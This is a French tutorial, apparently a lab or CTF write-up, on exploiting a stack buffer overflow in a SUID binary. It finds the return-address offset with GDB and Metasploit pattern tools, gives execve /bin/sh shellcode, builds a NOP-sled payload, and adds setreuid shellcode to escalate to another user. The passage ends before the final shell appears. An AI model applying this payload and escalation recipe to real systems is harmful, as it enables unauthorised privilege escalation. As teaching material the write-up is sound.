Etape 1 : Trouver l’offset

La premiere étape consiste à trouver l’offset qui nous permettra de remplacer l’adresse de retour. Pour ce faire, il existe 2 méthodes :

Méthode manuelle :

On voit dans le code source que le buffer fait 140 octes mais entre la fin de ce buffer et l’adresse de retour se trouvent des possibles octes de remplissage(alignement mémoire) et le registre rbp (pointeur de base) qui fait 8 octets sur une architecture 64 bits.
Ainsi, pour écraser l’adresse de retour, il faudra au moins 148 octets. Pour connaitre la valeur exacte, on va remplir notre entrée avec des caractères ‘A’ (\x41) et observer dans GDB à partir de quel moment on écrase effectivement l’adresse de retour.

On lance GDB sur le binaire :

1
gdb buffer-overflow

Puis on execute avec une chaine de 148 ‘A’

1
2
3
4
5
6
7
8
9
(gdb) run $(python -c "print('A'*148)")

Starting program: $(python -c "print('A'*148)")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()

Le programme plante avec une erreur de segmentation mais l’adresse de retour n’a pas été écrasé par nos ‘A’ car on ne voit aucun 41 dans l’adresse. En augmentant alors la taille de la chaine de caractere, on remarque qu’à 155 octets, on commence à écraser l’adresse de retour :

1
2
3
4
5
6
(gdb) run $(python -c "print('A'*155)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

Ainsi, avec 158 A, on peut écraser totalement l’adresse de retour :

1
2
3
4
5
6
(gdb) run $(python -c "print('\x41'*158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

Ainsi, l’offset exact pour atteindre l’adresse de retour est de 158 – 6 = 152 octets

Méthode 2 : Avec Metasploit

Une autre maniere de trouver l’offset est d’utiliser les outils fournis par Metasploit. On commence par générer une chaine de caractères avec des motifs uniques avec pattern_create.rb :

1
2
└──╼$/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1.....Ag1Ag2Ag3Ag4Ag5Ag

On injecte cette chaine de caractère dans le programme :

1
2
3
4
5
6
7
(gdb) run 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'

Here's a program that echo's out your input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()

Une fois que le programme plante, on accede aux valeurs des regitres pour récupéré les valeurs de rbp ou de rip :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) i r
rax 0xc9 201
rbx 0x0 0
rcx 0x7ffff7b08894 140737348929684
rdx 0x7ffff7dd48c0 140737351862464
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x6641396541386541 0x6641396541386541 <-- MOTIFS
rsp 0x7fffffffe2b8 0x7fffffffe2b8
r8 0x7ffff7fef4c0 140737354069184
r9 0x77 119
r10 0x5e 94
r11 0x246 582
r12 0x400450 4195408
r13 0x7fffffffe3b0 140737488348080
r14 0x0 0
r15 0x0 0
rip 0x400563 0x400563 <copy_arg+60>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0

Ensuiten, on utilise pattern_offset.rb pour trouver l’offset exact :

1
2
└──╼$/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 6641396541386541
[*] Exact match at offset 144

Comme on sait que rbp est de 8 octes, on retrouve bien la valeur de 152 en faisant 144 +8

Etape 2 : Crée un shell code

Il existe différent shell code sur internet, l’un d’eux et le suivant :

1
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

Etape 3 : Trouver l’adresse du shellcode

Maintenant qu’on a notre shellcode, il faut s’assurer qu’il se trouve quelque part en mémoire à une adresse prévisible pour pouvoir l’executer. Il faut que l’adresse de retour pointe vers notre shellcode.

Pour cela, on construit notre payload de la maniere suivante :

  • 100 octets de NOPS (\x90). C’est ce qu’on appelle un NOP sled, une rampe de glissade vers le shellcode
  • 40 octets de shellcode
  • 12 octets de paddinf pour compléter jusqu’a l’offset
  • 6 octets pour l’adresse de retour

Cela fait un total de 158 octets. Pour trouver l’adresse de retour a mettre, on commence pas executer :

1
(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6")

Ensuite, on suite on essaie de trouver ce qu’on a injecter dans la stack :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141 <--- start of the buffer
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a <--- start of the shellcode
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe2d8: 0x050fff31 0x41414141 0x41414141 0x41414141
0x7fffffffe2e8: 0x42424242 0x00004242 0xffffe3e8 0x00007fff

Lorsque l’on inspecte la mémoire dans GDB avec la commande x/100x $rsp-200, on peut voir très clairement le contenu du buffer que nous avons injecté. On distingue d’abord tous les 0x41 — ce sont les caractères ‘A’ que nous avons utilisés pour remplir la mémoire jusqu’à l’offset. Juste après cette zone remplie de ‘A’, on voit apparaître notre shellcode.

Pour trouver l’adresse précise à laquelle commence le shellcode, on se base sur ce que nous montre GDB. Sur la ligne qui contient le début du shellcode, l’adresse indiquée tout à gauche est 0x7fffffffe2a8. Cela représente l’adresse de la première colonne de cette ligne mémoire, c’est-à-dire les 4 premiers octets.

Or, on constate que notre shellcode commence à la quatrième colonne de cette ligne, soit 3 colonnes plus loin. Comme chaque colonne correspond à 4 octets, il faut donc ajouter 3 * 4 = 12 octets à l’adresse de base.

En hexadécimal, 12 s’écrit 0xC. Le calcul devient donc :

1
0x7fffffffe2a8 + 0xC = 0x7fffffffe2b4

On a donc déterminé que le shellcode commence exactement à l’adresse 0x7fffffffe2b4. C’est cette adresse qu’il faut utiliser pour remplacer l’adresse de retour dans notre payload. Ainsi, à la fin de la fonction vulnérable, le programme exécutera une instruction ret qui sautera directement à cette adresse, et exécutera notre shellcode.

Cependant, il faut garder en tête que la disposition de la mémoire peut légèrement varier à chaque exécution du programme. Cela peut être dû à l’ASLR (Address Space Layout Randomization) ou à des fluctuations naturelles de la pile. Pour cette raison, on insère un NOP sled — une série d’instructions NOP (\x90) — avant le shellcode. Cela permet au programme de « glisser » dans la zone de NOPs même si l’adresse est un peu imprécise, et de finir par exécuter le shellcode correctement.

Ainsi, en remplacant les A par les NOP et les B par l’adresse de retour désiré, on arrive a avoir un shell

En revanche, on voit que l’on est pas passé user2 comme prévu.
Cela s’explique parce que même si le binaire à le bit SUID et donne les privilèges de user2 (UID effectuf) notre UID réel reste celui de user1.

Or quand on lance /bin/sh, le shell vérifie l’UID réel pour éviter les abus et s’il voit une différence entre l’UID réel et effectif il retombe automatiquement sur l’UID réel.

Ainsi, pour corriger ca on doit utiliser dans notre shellcode setreuid(1002,1002) qui permet de changer à la fois l’UID réel et l’UID effectif.

Pour construire le shellcode permettant d’ajouter d’executer le setreuid, on peut utiliser pwntools :

1
pwn shellcraft -f d amd64.linux.setreuid 1002
  • pwn shellcraft : c’est l’outil de pwntools qui génére du shellcode prêt à etre utilisé
  • -f d : options pour formater la sortie directement en chaine d’octets
  • amd64.linux.setreuid 1002 : on demande un shellcode pour architecture amd64 de linux et l’appel système setreuid(1002,1002)

En remodifiant le shellcode et en ajustant les adresses mémoires et le nombre de nop, on arrive bien a avoir un shell en tant que user2 :